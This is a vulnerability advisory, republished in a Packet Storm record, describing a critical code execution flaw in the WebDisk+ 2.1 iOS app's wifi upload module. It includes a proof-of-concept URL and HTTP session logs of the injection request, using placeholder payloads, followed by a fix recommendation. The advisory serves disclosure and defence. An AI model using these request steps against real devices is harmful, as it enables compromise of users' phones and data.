{"id": "PACKETSTORM:128856", "type": "packetstorm", "bulletinFamily": "exploit", "title": "WebDisk+ 2.1 Code Execution", "description": "", "published": "2014-10-27T00:00:00", "modified": "2014-10-27T00:00:00", "cvss": {"vector": "NONE", "score": 0.0}, "href": "https://packetstormsecurity.com/files/128856/WebDisk-2.1-Code-Execution.html", "reporter": "Benjamin Kunz Mejri", "references": [], "cvelist": [], "lastseen": "2016-11-03T10:28:44", "viewCount": 3, "enchantments": {"score": {"value": -0.3, "vector": "NONE", "modified": "2016-11-03T10:28:44", "rev": 2}, "dependencies": {"references": [], "modified": "2016-11-03T10:28:44", "rev": 2}, "vulnersScore": -0.3}, "sourceHref": "https://packetstormsecurity.com/files/download/128856/VL-1349.txt", "sourceData": "`Document Title: \n=============== \nWebDisk+ v2.1 iOS - Code Execution Vulnerability \n \n \nReferences (Source): \n==================== \nhttp://www.vulnerability-lab.com/get_content.php?id=1349 \n \n \nRelease Date: \n============= \n2014-10-23 \n \n \nVulnerability Laboratory ID (VL-ID): \n==================================== \n1349 \n \n \nCommon Vulnerability Scoring System: \n==================================== \n9.1 \n \n \nProduct & Service Introduction: \n=============================== \nWebDisk+ is a Push verion of WebDisk. It have all Full functionality of WebDisk .lets your iphone/ipad become a file website over \nwi-fi netwrk.You can upload/download your document to your iphone/ipad on your pc browser over wi-fi. And it is also a document \nviewer.let you direct view your document on your iphone/iphone. WebDisk+ can support Upload and download large files (More than 4GB) \nform pc or other mobile device. \n \n(Copy of the Vendor Homepage: https://itunes.apple.com/us/app/webdisk+/id606709149 ) \n \n \nAbstract Advisory Information: \n============================== \nThe Vulnerability Laboratory Research team discovered a code execution vulnerability in the official AirPhoto WebDisk+ v2.1 iOS mobile web-application. \n \n \nVulnerability Disclosure Timeline: \n================================== \n2014-10-23: Public Disclosure (Vulnerability Laboratory) \n \n \nDiscovery Status: \n================= \nPublished \n \n \nAffected Product(s): \n==================== \nAirPhoto \nProduct: WebDisk+ - iOS Mobile Web Application (Wifi) 2.1 \n \n \nExploitation Technique: \n======================= \nRemote \n \n \nSeverity Level: \n=============== \nCritical \n \n \nTechnical Details & Description: \n================================ \nA code execution web vulnerability has been discovered in the official AirPhoto WebDisk+ v2.1 iOS mobile web-application. \nThe vulnerability allows remote attackers to compromise the application and connected device components by exploitation \nof a system specific code execution vulnerability in the wifi interface. \n \nThe vulnerability is located in the `name` input field of the wifi web interface upload module (afupload.ma). The function creates \nthe files without any protection or filter mechanism in the GET method request. Remote attackers are able to manipulate the GET method \nrequest by usage of the `p & filename` parameters in the `afupload.ma` file to compromise the application or device. The execution of \nthe code occurs in the `afgetdir.ma` file of the wifi interface. The attack vector is located on the application-side of the mobile app \nand the request method to inject/execute is GET. \n \nThe security risk of the code execution vulnerability is estimated as critical with a cvss (common vulnerability scoring system) count of 9.1. \nExploitation of the code execution vulnerability requires no privileged application user account or user interaction. Successful exploitation \nof the code execution vulnerability results in mobile application compromise and affected or connected device component compromise. \n \nRequest Method(s): \n[+] GET \n \nVulnerable Module(s): \n[+] Upload \n \nVulnerable File(s): \n[+] afupload.ma \n \nVulnerable Parameter(s): \n[+] p & filename \n \nAffected Module(s): \n[+] Wifi Interface (http://localhost:1861) \n \n \nProof of Concept (PoC): \n======================= \nThe code execution web vulnerability can be exploited by remote attackers without privileged application user account or user interaction. \nFor security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. \n \n \nPoC: (URL) \nhttp://localhost:1861/afgetdir.ma?p=\\var\\mobile\\Containers\\Data\\Application\\90ACE99A-5EF3-4E3E-B509-32CCDF066AA1\\Documents\\ \n \n \nPoC: localhost:1861 - Web Interface Index \n \n<tr><td class=\"tdleft\"><a href=\"\"><img class=\"imgthum\" src=\"afico/files_txt.png\"></a></td> \n<td class=\"tdmid\">-[CODE EXECUTION VULNERABILITY VIA GET];</td> \n<td class=\"tdright\">10-22 13:28<br/><br/> \n<a href=\"afdelete.ma?p=%5Cvar%5Cmobile%5CContainers%5CData%5CApplication%5C90ACE99A-5EF3-4E3E-B509-32CCDF066AA1%5CDocuments%5C%7C-%7C467299731.txt\">delete</a></td> \n</tr><tr><td colspan=\"3\" height=\"1\"><hr class=\"spline\" /></td> \n</tr><tr></tr></table></body></html> \n</iframe></td></tr> \n \nNote: \nThe input field to create/upload files allows a remote attacker to execute codes directly in the web-server with multiple attack vectors. \n \n \n--- PoC Session Logs (POST) --- \nStatus: 302[OK] \nPOST http://192.168.2.104:1861/afupload.ma?p=%5Cvar%5Cmobile%5CContainers%5CData%5CApplication%5C90ACE99A-5EF3-4E3E-B509-32CCDF066AA1%5CDocuments%5C \nLoad Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Gr\u00f6\u00dfe des Inhalts[0] Mime Type[application/x-unknown-content-type] \nRequest Header: \nHost[192.168.2.104:1861] \nUser-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0] \nAccept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] \nAccept-Language[de,en-US;q=0.7,en;q=0.3] \nAccept-Encoding[gzip, deflate] \nReferer[http://192.168.2.104:1861/afgetdir.ma?p=%5Cvar%5Cmobile%5CContainers%5CData%5CApplication%5C90ACE99A-5EF3-4E3E-B509-32CCDF066AA1%5CDocuments%5C] \nConnection[keep-alive] \nPOST-Daten: \nPOST_DATA[-----------------------------531465230341 \nContent-Disposition: form-data; name=\"txt\" \n-[CODE EXECUTION VULNERABILITY VIA GET]; \n-----------------------------531465230341 \nContent-Disposition: form-data; name=\"file\"; filename=\"[PENG!]\" \nContent-Type: application/octet-stream \n-----------------------------531465230341 \nContent-Disposition: form-data; name=\"sub\" \nupload \n-----------------------------531465230341--] \nResponse Header: \nLocation[afgetdir.ma?p=%5Cvar%5Cmobile%5CContainers%5CData%5CApplication%5C90ACE99A-5EF3-4E3E-B509-32CCDF066AA1%5CDocuments%5C] \nContent-Length[0] \nServer[MHttpServer/1.0.0] Status: 200[OK] \nGET http://192.168.2.104:1861/afgetdir.ma?p=%5Cvar%5Cmobile%5CContainers%5CData%5CApplication%5C90ACE99A-5EF3-4E3E-B509-32CCDF066AA1%5CDocuments%5C \nLoad Flags[LOAD_DOCUMENT_URI LOAD_REPLACE LOAD_INITIAL_DOCUMENT_URI ] Gr\u00f6\u00dfe des Inhalts[3051] Mime Type[text/html] \nRequest Header: \nHost[192.168.2.104:1861] \nUser-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0] \nAccept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8] \nAccept-Language[de,en-US;q=0.7,en;q=0.3] \nAccept-Encoding[gzip, deflate] \nReferer[http://192.168.2.104:1861/afgetdir.ma?p=%5Cvar%5Cmobile%5CContainers%5CData%5CApplication%5C90ACE99A-5EF3-4E3E-B509-32CCDF066AA1%5CDocuments%5C] \nConnection[keep-alive] \nResponse Header: \nContent-Type[text/html] \nContent-Length[3051] \nServer[MHttpServer/1.0.0] \n \n \nReference(s): \nafgetdir.ma \nafgetdir.ma?p=%5Cvar%5Cmobile%5CContainers%5CData%5CApplication%5C90ACE99A-5EF3-4E3E-B509-32CCDF066AA1%5CDocuments%5C \nafupload.ma \nafupload.ma?p=%5Cvar%5Cmobile%5CContainers%5CData%5CApplication%5C90ACE99A-5EF3-4E3E-B509-32CCDF066AA1%5CDocuments%5C \n \n \nSolution - Fix & Patch: \n======================= \nTo patch the vulnerability it is required to parse and encode the upload GET method request. \nRestrict the input field of the p & filename value to prevent code execution in the main wifi interface. \n \n \nSecurity Risk: \n============== \nThe security risk of the code execution web vulnerability in the path value is estimated as critical. (CVSS 9.1) \n \n \nCredits & Authors: \n================== \nVulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com] \n \n \nDisclaimer & Information: \n========================= \nThe information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed \nor implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable \nin any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab \nor its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for \nconsequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, \npolicies, deface websites, hack into databases or trade with fraud/stolen material. \n \nDomains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com \nContact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com \nSection: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact \nSocial: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab \nFeeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php \nPrograms: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ \n \nAny modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to \nelectronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by \nVulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website \nis trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact \n(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. \n \nCopyright \u00a9 2014 | Vulnerability Laboratory - Evolution Security GmbH \u2122 \n \n \n \n-- \nVULNERABILITY LABORATORY - RESEARCH TEAM \nSERVICE: www.vulnerability-lab.com \nCONTACT: research@vulnerability-lab.com \n \nCOMPANY: Evolution Security GmbH \nBUSINESS: www.evolution-sec.com \n \n`\n"}